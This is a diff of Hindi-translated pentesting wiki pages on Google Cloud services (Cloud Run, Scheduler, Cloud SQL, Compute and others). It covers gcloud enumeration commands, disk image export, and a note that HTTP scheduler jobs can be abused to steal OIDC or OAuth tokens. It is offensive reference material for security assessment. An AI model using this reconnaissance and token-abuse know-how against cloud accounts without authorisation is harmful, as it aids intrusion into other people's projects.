@@ -27,7 +27,7 @@ Google [Cloud Run](https://cloud.google.com/run) एक और सर्वर
इसके अलावा, वेब सर्वर से संपर्क करने के लिए **प्रमाणीकरण** **सभी को अनुमति देने** या **IAM के माध्यम से प्रमाणीकरण की आवश्यकता** कर सकता है।
- डिफ़ॉल्ट रूप से, **एन्क्रिप्शन** एक **Google प्रबंधित कुंजी** का उपयोग करता है, लेकिन एक **CMEK** (Customer Managed Encryption Key) **KMS** से भी **चुना** जा सकता है।
- **डिफ़ॉल्ट** के अनुसार, उपयोग की जाने वाली **सेवा खाता** **Compute Engine का डिफ़ॉल्ट** है जिसमें परियोजना पर **Editor** पहुँच है और इसका **scope `cloud-platform`.**
- निष्पादन के लिए **स्पष्ट-पाठ पर्यावरण चर** को परिभाषित करना संभव है, और यहां तक कि **क्लाउड सीक्रेट्स को माउंट** करना या **पर्यावरण चर में क्लाउड सीक्रेट्स जोड़ना** भी संभव है।
- निष्पादन के लिए **स्पष्ट-टेक्स्ट वातावरण चर** को परिभाषित करना संभव है, और यहां तक कि **क्लाउड सीक्रेट्स को माउंट** करना या **पर्यावरण चर में क्लाउड सीक्रेट्स जोड़ना** भी संभव है।
- **Cloud SQL** के साथ **कनेक्शन जोड़ना** और **फाइल सिस्टम माउंट करना** भी संभव है।
- तैनात सेवाओं के **URLs** **`https://<svc-name>-<random>.a.run.app`** के समान होते हैं।
- एक Run Service में **1 से अधिक संस्करण या संशोधन** हो सकते हैं, और **कई संशोधनों के बीच ट्रैफ़िक विभाजित** किया जा सकता है।
@@ -76,19 +76,19 @@ gcloud beta run jobs get-iam-policy --region <region> <job-name>
```
## विशेषाधिकार वृद्धि
अगली पृष्ठ पर, आप देख सकते हैं कि **विशेषाधिकार बढ़ाने के लिए क्लाउड रन अनुमतियों का कैसे दुरुपयोग करें**:
अगली पृष्ठ पर, आप **विशेषाधिकार बढ़ाने के लिए क्लाउड रन अनुमतियों का दुरुपयोग कैसे करें** देख सकते हैं:
{{#ref}}
../gcp-privilege-escalation/gcp-run-privesc.md
{{#endref}}
## बिना प्रमाणीकरण के पहुंच
## अनधिकृत पहुंच
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
{{#endref}}
## पोस्ट शोषण
## पोस्ट एक्सप्लोइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
@@ -4,11 +4,11 @@
## Basic Information
Google Cloud Scheduler एक पूरी तरह से प्रबंधित **cron job service** है जो आपको मनचाहे कार्य—जैसे बैच, बड़े डेटा कार्य, क्लाउड अवसंरचना संचालन—को निश्चित समय, तारीखों या अंतराल पर चलाने की अनुमति देती है। यह Google Cloud सेवाओं के साथ एकीकृत है, जो **नियमित अनुसूची पर अपडेट या बैच प्रोसेसिंग जैसे विभिन्न कार्यों को स्वचालित करने का एक तरीका प्रदान करता है**
Google Cloud Scheduler एक पूरी तरह से प्रबंधित **cron job service** है जो आपको मनचाहे कार्य—जैसे बैच, बड़े डेटा कार्य, क्लाउड अवसंरचना संचालन—को निश्चित समय, तिथियों या अंतराल पर चलाने की अनुमति देती है। यह Google Cloud सेवाओं के साथ एकीकृत है, जो **नियमित अनुसूची पर अपडेट या बैच प्रोसेसिंग जैसे विभिन्न कार्यों को स्वचालित करने का एक तरीका प्रदान करता है**
हालांकि एक आक्रामक दृष्टिकोण से यह अद्भुत लगता है, यह वास्तव में इतना दिलचस्प नहीं है क्योंकि सेवा केवल निश्चित समय पर कुछ सरल क्रियाओं को अनुसूचित करने की अनुमति देती है और मनचाहा कोड निष्पादित करने की नहीं।
हालांकि एक आक्रामक दृष्टिकोण से यह अद्भुत लगता है, यह वास्तव में इतना दिलचस्प नहीं है क्योंकि सेवा केवल कुछ सरल क्रियाओं को एक निश्चित समय पर अनुसूचित करने की अनुमति देती है और मनचाहा कोड निष्पादित नहीं करती है
इस लेखन के समय ये क्रियाएँ हैं जिन्हें यह सेवा अनुसूचित करने की अनुमति देती है:
इस लेखन के समय, ये वे क्रियाएँ हैं जिन्हें यह सेवा अनुसूचित करने की अनुमति देती है:
<figure><img src="../../../images/image (347).png" alt="" width="563"><figcaption></figcaption></figure>
@@ -20,12 +20,12 @@ Google Cloud Scheduler एक पूरी तरह से प्रबंध
## Service Accounts
प्रत्येक शेड्यूलर द्वारा हमेशा एक सेवा खाता आवश्यक नहीं होता है। **Pub/Sub** और **App Engine HTTP** प्रकारों को किसी सेवा खाते की आवश्यकता नहीं होती है। **Workflow** को एक सेवा खाते की आवश्यकता होती है, लेकिन यह केवल वर्कफ़्लो को सक्रिय करेगा।\
अंत में, नियमित HTTP प्रकार को सेवा खाते की आवश्यकता नहीं होती है, लेकिन यह संभव है कि वर्कफ़्लो द्वारा किसी प्रकार के प्रमाणीकरण की आवश्यकता है और भेजे गए HTTP अनुरोध में **OAuth टोकन या OIDC टोकन** जोड़ा जाए
अंत में, नियमित HTTP प्रकार को सेवा खाते की आवश्यकता नहीं होती है, लेकिन यह संभव है कि वर्कफ़्लो द्वारा किसी प्रकार के प्रमाणीकरण की आवश्यकता है और भेजे गए HTTP अनुरोध में **OAuth टोकन या OIDC टोकन** जोड़ें
> [!CAUTION]
> इसलिए, सेवा खातों से **HTTP प्रकार** का दुरुपयोग करके **OIDC** टोकन चुराना और **OAuth** टोकन का दुरुपयोग करना संभव है। इस पर अधिक जानकारी विशेषाधिकार वृद्धि पृष्ठ पर है।
> इसलिए, सेवा खातों से **HTTP प्रकार** का दुरुपयोग करते हुए **OIDC** टोकन चुराना और **OAuth** टोकन का दुरुपयोग करना संभव है। विशेषाधिकार वृद्धि पृष्ठ पर इस पर अधिक जानकारी है।
ध्यान दें कि भेजे गए OAuth टोकन के दायरे को सीमित करना संभव है, हालाकि, डिफ़ॉल्ट रूप से, यह `cloud-platform` होगा।
ध्यान दें कि भेजे गए OAuth टोकन के दायरे को सीमित करना संभव है, हालाकि, डिफ़ॉल्ट रूप से, यह `cloud-platform` होगा।
## Enumeration
```bash
@@ -4,14 +4,14 @@
## Basic Information
Google Cloud Shell एक इंटरक्टिव शेल वातावरण है Google Cloud Platform (GCP) के लिए जो आपको **अपने ब्राउज़र या शेल से सीधे अपने GCP संसाधनों तक कमांड-लाइन पहुंच** प्रदान करता है। यह Google द्वारा प्रदान की गई एक प्रबंधित सेवा है, और इसमें **पूर्व-स्थापित उपकरणों का एक सेट** शामिल है, जिससे आपको अपने GCP संसाधनों का प्रबंधन करना आसान हो जाता है बिना इन उपकरणों को अपने स्थानीय मशीन पर स्थापित और कॉन्फ़िगर किए।\
Google Cloud Shell एक इंटरक्टिव शेल वातावरण है जो Google Cloud Platform (GCP) के लिए है, जो आपको **अपने GCP संसाधनों तक सीधे अपने ब्राउज़र या शेल से कमांड-लाइन एक्सेस प्रदान करता है**। यह Google द्वारा प्रदान की गई एक प्रबंधित सेवा है, और इसमें **पूर्व-स्थापित उपकरणों का एक सेट** शामिल है, जिससे आपको अपने GCP संसाधनों का प्रबंधन करना आसान हो जाता है बिना इन उपकरणों को अपने स्थानीय मशीन पर स्थापित और कॉन्फ़िगर किए।\
इसके अलावा, यह **कोई अतिरिक्त लागत** पर उपलब्ध है।
**संगठन का कोई भी उपयोगकर्ता** (Workspace) **`gcloud cloud-shell ssh`** निष्पादित कर सकता है और अपने **cloudshell** वातावरण तक पहुंच प्राप्त कर सकता है। हालाँकि, **सेवा खाते नहीं कर सकते**, भले ही वे संगठन के मालिक हों।
**संस्थान का कोई भी उपयोगकर्ता** (Workspace) **`gcloud cloud-shell ssh`** निष्पादित कर सकता है और अपने **cloudshell** वातावरण तक पहुंच प्राप्त कर सकता है। हालाँकि, **Service Accounts नहीं कर सकते**, भले ही वे संगठन के मालिक हों।
इस सेवा क **कोई अनुमति** नहीं ी गई है, इसलिए **कोई विशेषाधिकार वृद्धि तकनीकें नहीं हैं**। इसके अलावा, **कोई प्रकार की गणना** भी नहीं है।
इस सेवा के लिए **कोई अनुमतियाँ**िर्धारित नहीं ी गई है, इसलिए **कोई विशेषाधिकार वृद्धि तकनीकें नहीं हैं**। इसके अलावा, **कोई प्रकार की गणना** भी नहीं है।
ध्यान दें कि Cloud Shell को संगठन के लिए **आसान तरीके से बंद** किया जा सकता है।
ध्यान दें कि Cloud Shell को **आसान तरीके से निष्क्रिय** किया जा सकता है।
### Post Exploitation
@@ -4,31 +4,31 @@
## Basic Information
Google Cloud SQL एक प्रबंधित सेवा है जो **रिलेशनल डेटाबेस** जैसे MySQL, PostgreSQL, और SQL Server को Google Cloud Platform पर सेटअप, बनाए रखने और प्रबंधित करने को **सरल बनाती है**, जिससे हार्डवेयर प्रोविजनिंग, डेटाबेस सेटअप, पैचिंग, और बैकअप जैसे कार्यों को संभालने की आवश्यकता समाप्त हो जाती है।
Google Cloud SQL एक प्रबंधित सेवा है जो **रिलेशनल डेटाबेस** जैसे MySQL, PostgreSQL, और SQL Server को Google Cloud Platform पर सेटअप, बनाए रखने और प्रबंधित करने को **सरल बनाती है**, जिससे हार्डवेयर प्रावधान, डेटाबेस सेटअप, पैचिंग, और बैकअप जैसे कार्यों को संभालने की आवश्यकता समाप्त हो जाती है।
Google Cloud SQL की प्रमुख विशेषताएँ हैं:
1. **पूर्ण रूप से प्रबंधित**: Google Cloud SQL एक पूर्ण रूप से प्रबंधित सेवा है, जिसका अर्थ है कि Google डेटाबेस रखरखाव कार्यों जैसे पैचिंग, अपडेट, बैकअप, और कॉन्फ़िगरेशन को संभालता है।
2. **स्केलेबिलिटी**: यह आपके डेटाबेस क स्टोरेज क्षमता और कंप्यूट संसाधनों को स्केल करने की क्षमता प्रदान करता है, अक्सर बिना डाउनटाइम के।
3. **उच्च उपलब्धता**: उच्च उपलब्धता कॉन्फ़िगरेशन प्रदान करता है, यह सुनिश्चित करते हुए कि आपकी डेटाबेस सेवाएँ विश्वसनीय हैं और ज़ोन या इंस्टेंस विफलताओं कामना कर सकती हैं।
2. **स्केलेबिलिटी**: यह आपके डेटाबेस क स्टोरेज क्षमता और कंप्यूट संसाधनों को स्केल करने की क्षमता प्रदान करता है, अक्सर बिना डाउनटाइम के।
3. **उच्च उपलब्धता**: उच्च उपलब्धता कॉन्फ़िगरेशन प्रदान करता है, यह सुनिश्चित करते हुए कि आपकी डेटाबेस सेवाएँ विश्वसनीय हैं और क्षेत्र या उदाहरण की विफलताओं कहन कर सकती हैं।
4. **सुरक्षा**: डेटा एन्क्रिप्शन, पहचान और पहुंच प्रबंधन (IAM) नियंत्रण, और निजी आईपी और VPC का उपयोग करके नेटवर्क अलगाव जैसी मजबूत सुरक्षा सुविधाएँ प्रदान करता है।
5. **बैकअप और पुनर्प्राप्ति**: स्वचालित बैकअप और समय-विशिष्ट पुनर्प्राप्ति का समर्थन करता है, जिससे आप अपने डेटा की सुरक्षा और पुनर्स्थापना कर सकते हैं।
5. **बैकअप और पुनर्प्राप्ति**: स्वचालित बैकअप और समय-निर्धारित पुनर्प्राप्ति का समर्थन करता है, जिससे आप अपने डेटा की सुरक्षा और पुनर्स्थापना कर सकते हैं।
6. **एकीकरण**: अन्य Google Cloud सेवाओं के साथ निर्बाध रूप से एकीकृत होता है, अनुप्रयोगों को बनाने, तैनात करने और प्रबंधित करने के लिए एक व्यापक समाधान प्रदान करता है।
7. **प्रदर्शन**: डेटाबेस प्रदर्शन की निगरानी, समस्या निवारण, और सुधार के लिए प्रदर्शन मैट्रिक्स और डायग्नोस्टिक्स प्रदान करता है।
### Password
वेब कंसोल में Cloud SQL उपयोगकर्ता को डेटाबेस का **पासवर्ड** **सेट** करने की अनुमति देता है, वहाँ एक जनरेट फीचर भी है, लेकिन सबसे महत्वपूर्ण बात यह है कि **MySQL** **खाली पासवर्ड छोड़ने** की अनुमति देता है और सभी को पासवर्ड के रूप में केवल "a" वर्ण सेट करने की अनुमति है:
वेब कंसोल में Cloud SQL उपयोगकर्ता को डेटाबेस का **पासवर्ड सेट** करने की अनुमति देता है, वहाँ एक जनरेट फीचर भी है, लेकिन सबसे महत्वपूर्ण बात यह है कि **MySQL** को **खाली पासवर्ड छोड़ने** की अनुमति है और सभी को पासवर्ड के रूप में केवल "a" वर्ण सेट करने की अनुमति है:
<figure><img src="../../../images/image (14).png" alt=""><figcaption></figcaption></figure>
यह एक पासवर्ड नीति को कॉन्फ़िगर करना भी संभव है ज **लंबाई**, **जटिलता**, **पुन: उपयोग को निष्क्रिय करना** और **पासवर्ड में उपयोगकर्ता नाम को निष्क्रिय करना** की आवश्यकता रखती है। सभी डिफ़ॉल्ट रूप से निष्क्रिय होते हैं।
यह एक पासवर्ड नीति को कॉन्फ़िगर करना भी संभव है जिसमें **लंबाई**, **जटिलता**, **पुन: उपयोग को अक्षम करना** और **पासवर्ड में उपयोगकर्ता नाम को अक्षम करना** शामिल है। सभी डिफ़ॉल्ट रूप से अक्षम होते हैं।
**SQL Server** को **एक्टिव डायरेक्टरी प्रमाणीकरण** के साथ कॉन्फ़िगर किया जा सकता है।
**SQL Server** को **Active Directory Authentication** के साथ कॉन्फ़िगर किया जा सकता है।
### Zone Availability
डेटाबेस **1 ज़ोन में या कई में उपलब्ध** हो सकता है, निश्चित रूप से, महत्वपूर्ण डेटाबेस को कई ज़ोन में रखना अनुशंसित है।
डेटाबेस **1 क्षेत्र में या कई में उपलब्ध** हो सकता है, निश्चित रूप से, महत्वपूर्ण डेटाबेस को कई क्षेत्रों में रखना अनुशंसित है।
### Encryption
@@ -46,8 +46,8 @@ Google Cloud SQL की प्रमुख विशेषताएँ हैं
### Data Protection
- **Daily backups**: स्वचालित दैनिक बैकअप करें और आप कितने बैकअप बनाए रखना चाहते हैं, यह इंगित करें।
- **Point-in-time recovery**: आपको एक विशिष्ट समय से डेटा पुनर्प्राप्त करने की अनुमति देता है, एक सेकंड के अंश तक।
- **Deletion Protection**: यदि सक्षम किया गया, तो DB को तब तक हटाया नहीं जा सकेगा जब तक कि यह सुविधा निष्क्रिय न हो जाए।
- **Point-in-time recovery**: आपको एक विशिष्ट समय बिंदु से डेटा पुनर्प्राप्त करने की अनुमति देता है, एक सेकंड के अंश तक।
- **Deletion Protection**: यदि सक्षम किया गया, तो DB को तब तक हटाया नहीं जा सकेगा जब तक कि यह सुविधा अक्षम न हो जाए।
### Enumeration
```bash
@@ -72,7 +72,7 @@ gcloud sql backups describe <backup-name> --instance <intance-name>
../gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
{{#endref}}
### पोस्ट शोषण
### पोस्ट एक्सप्लोइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
@@ -4,7 +4,7 @@
## Basic Information
**Google Cloud Composer** एक पूरी तरह से प्रबंधित **वर्कफ़्लो ऑर्केस्ट्रेशन सेवा** है जो **Apache Airflow** पर आधारित है। यह आपको क्लाउड और ऑन-प्रिमाइसेस डेटा सेंटर के बीच फैले पाइपलाइनों को लिखने, शेड्यूल करने और मॉनिटर करने की अनुमति देता है। GCP Composer के साथ, आप अपने वर्कफ़्लो को अन्य Google Cloud सेवाओं के साथ आसानी से एकीकृत कर सकते हैं, जिससे डेटा एकीकरण और विश्लेषण कार्यों में दक्षता बढ़ती है। यह सेवा क्लाउड-आधारित डेटा वर्कफ़्लो प्रबंध की जटिलता को सरल बनाने के लिए डिज़ाइन की गई है, जिससे यह डेटा इंजीनियरों और बड़े पैमाने पर डेटा प्रोसेसिंग कार्यों को संभालने वाले डेवलपर्स के लिए एक मूल्यवान उपकरण बन जात है।
**Google Cloud Composer** एक पूरी तरह से प्रबंधित **workflow orchestration service** है जो **Apache Airflow** पर आधारित है। यह आपको क्लाउड और ऑन-प्रिमाइसेस डेटा सेंटर के बीच फैले पाइपलाइनों को लिखने, शेड्यूल करने और मॉनिटर करने की अनुमति देता है। GCP Composer के साथ, आप अपने वर्कफ़्लोज़ को अन्य Google Cloud सेवाओं के साथ आसानी से एकीकृत कर सकते हैं, जिससे डेटा एकीकरण और विश्लेषण कार्यों में दक्षता बढ़ती है। यह सेवा क्लाउड-आधारित डेटा वर्कफ़्लोज़ को प्रबंधित करने की जटिलता को सरल बनाने के लिए डिज़ाइन की गई है, जिससे यह डेटा इंजीनियरों और बड़े पैमाने पर डेटा प्रोसेसिंग कार्यों को संभालने वाले डेवलपर्स के लिए एक मूल्यवान उपकरण बन जात है।
### Enumeration
```bash
@@ -32,7 +32,7 @@ gcloud composer environments storage data export --environment <environment> --l
```
### Privesc
इस पृष्ठ पर आप देख सकते हैं कि **कंपोज़र अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**:
निम्नलिखित पृष्ठ पर आप **कंपोज़र अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं:
{{#ref}}
../gcp-privilege-escalation/gcp-composer-privesc.md
@@ -58,7 +58,7 @@ gcloud compute network-firewall-policies get-effective-firewalls --network=<vpc_
gcp-compute-instance.md
{{#endref}}
### एन्यूमरेशन
### enumeration
```bash
# Get list of zones
# It's interesting to know which zones are being used
@@ -77,71 +77,71 @@ gcloud compute disks list
gcloud compute disks describe <disk>
gcloud compute disks get-iam-policy <disk>
```
For more information about how to **SSH** or **modify the metadata** of an instance to **escalate privileges,** check this page:
अधिक जानकारी के लिए कि कैसे **SSH** या **मेटाडेटा** को **अधिकार बढ़ाने** के लिए एक उदाहरण को **संशोधित** करें, इस पृष्ठ को देखें:
{{#ref}}
../../gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
{{#endref}}
### Privilege Escalation
### अधिकार बढ़ाना
In the following page, you can check how to **abuse compute permissions to escalate privileges**:
अगले पृष्ठ में, आप देख सकते हैं कि कैसे **अधिकार बढ़ाने के लिए कंप्यूट अनुमतियों का दुरुपयोग करें**:
{{#ref}}
../../gcp-privilege-escalation/gcp-compute-privesc/
{{#endref}}
### Unauthenticated Enum
### बिना प्रमाणीकरण वाला Enum
{{#ref}}
../../gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md
{{#endref}}
### Post Exploitation
### पोस्ट एक्सप्लोइटेशन
{{#ref}}
../../gcp-post-exploitation/gcp-compute-post-exploitation.md
{{#endref}}
### Persistence
### स्थिरता
{{#ref}}
../../gcp-persistence/gcp-compute-persistence.md
{{#endref}}
## Serial Console Logs
## सीरियल कंसोल लॉग
Compute Engine Serial Console Logs एक फीचर है जो आपको **अपने वर्चुअल मशीन इंस्टेंस के बूट और ऑपरेटिंग सिस्टम लॉग्स को देखने और निदान करने** की अनुमति देत है।
कंप्यूट इंजन सीरियल कंसोल लॉग एक विशेषता है जो आपको आपके वर्चुअल मशीन उदाहरणों के बूट और ऑपरेटिंग सिस्टम लॉग को **देखने और निदान करने** की अनुमति देत है।
Serial Console Logs **इंस्टेंस के बूट प्रक्रिया का एक निम्न-स्तरीय दृश्य प्रदान करते हैं**, जिसमें कर्नेल संदेश, इनिट स्क्रिप्ट, और अन्य सिस्टम घटनाएँ शामिल हैं जो बूट-अप के दौरान होती हैं। यह बूट समस्याओं को डिबग करने, गलत कॉन्फ़िगरेशन या सॉफ़्टवेयर त्रुटियों की पहचान करने, या नेटवर्क कनेक्टिविटी समस्याओं को हल करने के लिए उपयोगी हो सकता है।
सीरियल कंसोल लॉग **उदाहरण के बूट प्रक्रिया का निम्न-स्तरीय दृश्य** प्रदान करते हैं, जिसमें कर्नेल संदेश, इनिट स्क्रिप्ट और अन्य सिस्टम घटनाएँ शामिल हैं जो बूट-अप के दौरान होती हैं। यह बूट मुद्दों को डिबग करने, गलत कॉन्फ़िगरेशन या सॉफ़्टवेयर त्रुटियों की पहचान करने, या नेटवर्क कनेक्टिविटी समस्याओं को हल करने के लिए उपयोगी हो सकता है।
ये लॉग **संवेदनशील जानकारी को उजागर कर सकते हैं** जो सिस्टम लॉग से होती है जिसे निम्न स्तर के उपयोगकर्ता आमतौर पर नहीं देख सकते, लेकिन उचित IAM अनुमतियों के साथ आप उन्हें पढ़ने में सक्षम हो सकते हैं।
आप निम्नलिखित [gcloud command](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-serial-port-output) का उपयोग करके सीरियल पोर्ट लॉग्स को क्वेरी कर सकते हैं (आवश्यक अनुमति `compute.instances.getSerialPortOutput` है):
आप सीरियल पोर्ट लॉग को क्वेरी करने के लिए निम्नलिखित [gcloud कमांड](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-serial-port-output) का उपयोग कर सकते हैं (आवश्यक अनुमति `compute.instances.getSerialPortOutput` है):
```bash
gcloud compute instances get-serial-port-output <instance-name>
```
## Startup Scripts output
यह संभव है कि **स्टार्टअप स्क्रिप्ट्स का आउटपुट** VM से देखा जा सके जो निष्पादित हो रहा है:
यह **स्टार्टअप स्क्रिप्ट्स का आउटपुट** VM से देखने के लिए संभव है:
```bash
sudo journalctl -u google-startup-scripts.service
```
## OS Configuration Manager
आप OS configuration management सेवा का उपयोग **VM instance (VM) के लिए निरंतर कॉन्फ़िगरेशन (इच्छित स्थिति और सॉफ़्टवेयर) को तैनात, क्वेरी और बनाए रखने** के लिए कर सकते हैं। Compute Engine पर, आपको VM पर निरंतर सॉफ़्टवेयर कॉन्फ़िगरेशन बनाए रखने के लिए [guest policies](https://cloud.google.com/compute/docs/os-config-management#guest-policy) का उपयोग करना होगा।
आप OS कॉन्फ़िगरेशन प्रबंधन सेवा का उपयोग **VM उदाहरण (VM) के लिए निरंतर कॉन्फ़िगरेशन** (इच्छित स्थिति और सॉफ़्टवेयर) को **तैनात, क्वेरी और बनाए रखने** के लिए कर सकते हैं। Compute Engine पर, आपको VM पर निरंतर सॉफ़्टवेयर कॉन्फ़िगरेशन बनाए रखने के लिए [guest policies](https://cloud.google.com/compute/docs/os-config-management#guest-policy) का उपयोग करना होगा।
OS Configuration management सुविधा आपको कॉन्फ़िगरेशन नीतियों को परिभाषित करने की अनुमति देती है जो यह निर्दिष्ट करती हैं कि कौन से सॉफ़्टवेयर पैकेज स्थापित किए जाने चाहिए, कौन से सेवाएँ सक्षम की जानी चाहिए, और आपके VMs पर कौन से फ़ाइलें या कॉन्फ़िगरेशन मौजूद होने चाहिए। आप अपने VMs के सॉफ़्टवेयर कॉन्फ़िगरेशन को प्रबंधित करने के लिए एक घोषणात्मक दृष्टिकोण का उपयोग कर सकते हैं, जो आपको अपने कॉन्फ़िगरेशन प्रबंधन प्रक्रिया को स्वचालित और स्केल करने में अधिक आसानी प्रदान करता है।
OS कॉन्फ़िगरेशन प्रबंधन सुविधा आपको कॉन्फ़िगरेशन नीतियों को परिभाषित करने की अनुमति देती है जो यह निर्दिष्ट करती हैं कि कौन से सॉफ़्टवेयर पैकेज स्थापित किए जाने चाहिए, कौन से सेवाएँ सक्षम की जानी चाहिए, और आपके VMs पर कौन से फ़ाइलें या कॉन्फ़िगरेशन मौजूद होने चाहिए। आप अपने VMs के सॉफ़्टवेयर कॉन्फ़िगरेशन को प्रबंधित करने के लिए एक घोषणात्मक दृष्टिकोण का उपयोग कर सकते हैं, जो आपको अपने कॉन्फ़िगरेशन प्रबंधन प्रक्रिया को स्वचालित और स्केल करने में अधिक आसानी प्रदान करता है।
यह IAM अनुमतियों के माध्यम से उदाहरणों में लॉगिन करने की भी अनुमति देता है, इसलिए यह **privesc और pivoting के लिए बहुत उपयोगी है**
> [!WARNING]
> **किसी पूरे प्रोजेक्ट या किसी उदाहरण में os-config सक्षम करने के लिए** आपको बस **metadata** कुंजी **`enable-oslogin`** को **`true`** पर सेट करने की आवश्यकता है।\
> इसके अलावा, आप 2fa सक्षम करने के लिए metadata **`enable-oslogin-2fa`** को **`true`** पर सेट कर सकते हैं।
> **किसी पूरे प्रोजेक्ट या उदाहरण में os-config सक्षम करने के लिए** आपको बस **metadata** कुंजी **`enable-oslogin`** को **`true`** पर सेट करने की आवश्यकता है।\
> इसके अलावा, आप 2fa सक्षम करने के लिए **`enable-oslogin-2fa`** मेटाडेटा को **`true`** पर सेट कर सकते हैं।
>
> जब आप इसे एक उदाहरण बनाते समय सक्षम करते हैं, तो मेटाडेटा कुंजियाँ स्वचालित रूप से सेट की जाएंगी।
**OS-config में 2fa के बारे में अधिक**, यह केवल तब लागू होता है जब उपयोगकर्ता एक उपयोगकर्ता हो, यदि यह एक SA (जैसे compute SA) है तो इसे कुछ अतिरिक्त की आवश्यकता नहीं होगी।
**OS-config में 2fa के बारे में अधिक**, **यह केवल तब लागू होता है जब उपयोगकर्ता एक उपयोगकर्ता हो**, यदि यह एक SA (जैसे कि compute SA) है तो इसे किसी अतिरिक्त चीज़ की आवश्यकता नहीं होगी।
### Enumeration
```bash
@@ -155,9 +155,9 @@ gcloud compute os-config patch-jobs describe <patch-job>
### Custom Images
**कस्टम कंप्यूट इमेज में संवेदनशील विवरण** या अन्य कमजोर कॉन्फ़िगरेशन हो सकते हैं जिन्हें आप भेद सकते हैं।
**कस्टम कंप्यूट इमेज में संवेदनशील विवरण** या अन्य कमजोर कॉन्फ़िगरेशन हो सकते हैं जिनका आप लाभ उठा सकते हैं।
जब एक इमेज बनाई जाती है, तो आप **3 प्रकार की एन्क्रिप्शन** चुन सकते हैं: **गूगल प्रबंधित कुंजी** (डिफ़ॉल्ट), **KMS से कुंजी**, या **क्लाइंट द्वारा दी गई कच्ची कुंजी**
जब एक इमेज बनाई जाती है, तो आप **3 प्रकार की एन्क्रिप्शन** चुन सकते हैं: **Google प्रबंधित कुंजी** (डिफ़ॉल्ट), **KMS से कुंजी**, या **क्लाइंट द्वारा दी गई कच्ची कुंजी**
#### Enumeration
@@ -167,7 +167,7 @@ gcloud compute machine-images list
gcloud compute machine-images describe <name>
gcloud compute machine-images get-iam-policy <name>
```
आप फिर [**निर्यात**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) **वर्चुअल डिस्क** को किसी भी इमेज से कई प्रारूपों में कर सकते हैं। निम्नलिखित कमांड इमेज `test-image` को qcow2 प्रारूप में निर्यात करेग, जिससे आप फ़ाइल को डाउनलोड कर सकते हैं और आगे की जांच के लिए स्थानीय रूप से एक VM बना सकते हैं:
आप फिर [**निर्यात**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) **किसी भी छवि** से वर्चुअल डिस्क को कई प्रारूपों में कर सकते हैं। निम्नलिखित कमांड छवि `test-image` को qcow2 प्रारूप में निर्यात करेग, जिससे आप फ़ाइल को डाउनलोड कर सकते हैं और आगे की जांच के लिए स्थानीय रूप से एक VM बना सकते हैं:
```bash
gcloud compute images export --image test-image \
--export-format qcow2 --destination-uri [BUCKET]
@@ -189,24 +189,24 @@ gcloud compute instance-templates list
# Get the details of a specific template
gcloud compute instance-templates describe [TEMPLATE NAME]
```
यह जानना दिलचस्प हो सकता है कि नए इमेज़ किस डिस्क का उपयोग कर रह हैं, लेकिन ये टेम्पलेट आमतौर पर संवेदनशील जानकारी नहीं रखेंगे।
यह जानना दिलचस्प हो सकता है कि नए इमेज़ किस डिस्क का उपयोग कर रह हैं, लेकिन ये टेम्पलेट आमतौर पर संवेदनशील जानकारी नहीं रखेंगे।
## Snapshots
## स्नैपशॉट
**Snapshots डिस्क के बैकअप होते हैं**। ध्यान दें कि यह डिस्क को क्लोन करने के समान नहीं है (एक और उपलब्ध विशेषता)।\
**Snapshot** उस **डिस्क के समान एन्क्रिप्शन का उपयोग करेगा** जिससे इसे लिया गया है।
**स्नैपशॉट डिस्क के बैकअप होते हैं**। ध्यान दें कि यह डिस्क को क्लोन करने के समान नहीं है (एक और उपलब्ध विशेषता)।\
**स्नैपशॉट** उस **डिस्क के समान एन्क्रिप्शन का उपयोग करेगा** जिससे इसे लिया गया है।
### Enumeration
### एन्यूमरेशन
```bash
gcloud compute snapshots list
gcloud compute snapshots describe <snapshot>
gcloud compute snapshots get-iam-policy <snapshot>
```
### Privilege Escalation
### विशेषाधिकार वृद्धि
Compute Instances विशेषाधिकार वृद्धि अनुभाग की जांच करें।
## References
## संदर्भ
- [https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching)
@@ -4,7 +4,7 @@
## Basic Information
Google Cloud Compute Instances **गूगल के क्लाउड इन्फ्रास्ट्रक्चर पर अनुकूलन योग्य वर्चुअल मशीनें** हैं, जो विभिन्न प्रकार के अनुप्रयोगों के लिए स्केलेबल और ऑन-डिमांड कंप्यूटिंग पावर प्रदान करती हैं। ये वैश्विक तैनाती, स्थायी भंडारण, लचीले OS विकल्प और मजबूत नेटवर्किंग और सुरक्षा एकीकरण जैसी सुविधाएँ प्रदान करती हैं, जिससे ये वेबसाइटों को होस्ट करने, डेटा संसाधित करने और क्लाउड में अनुप्रयोगों को कुशलतापूर्वक चलाने के लिए एक बहुपरकारी विकल्प बनती हैं।
Google Cloud Compute Instances **गूगल के क्लाउड इन्फ्रास्ट्रक्चर पर अनुकूलन योग्य वर्चुअल मशीनें** हैं, जो विभिन्न प्रकार के अनुप्रयोगों के लिए स्केलेबल और ऑन-डिमांड कंप्यूटिंग पावर प्रदान करती हैं। ये वैश्विक तैनाती, स्थायी भंडारण, लचीले OS विकल्प, और मजबूत नेटवर्किंग और सुरक्षा एकीकरण जैसी सुविधाएँ प्रदान करती हैं, जिससे ये वेबसाइटों को होस्ट करने, डेटा संसाधित करने, और क्लाउड में अनुप्रयोगों को कुशलता से चलाने के लिए एक बहुपरकारी विकल्प बनती हैं।
### Confidential VM
@@ -14,17 +14,17 @@ Confidential VM चलाने के लिए इसे **बदलने**
### Disk & Disk Encryption
आप **डिस्क का चयन** करने या **नई बनाने** के लिए स्वतंत्र हैं। यदि आप एक नई डिस्क का चयन करते हैं, तो आप:
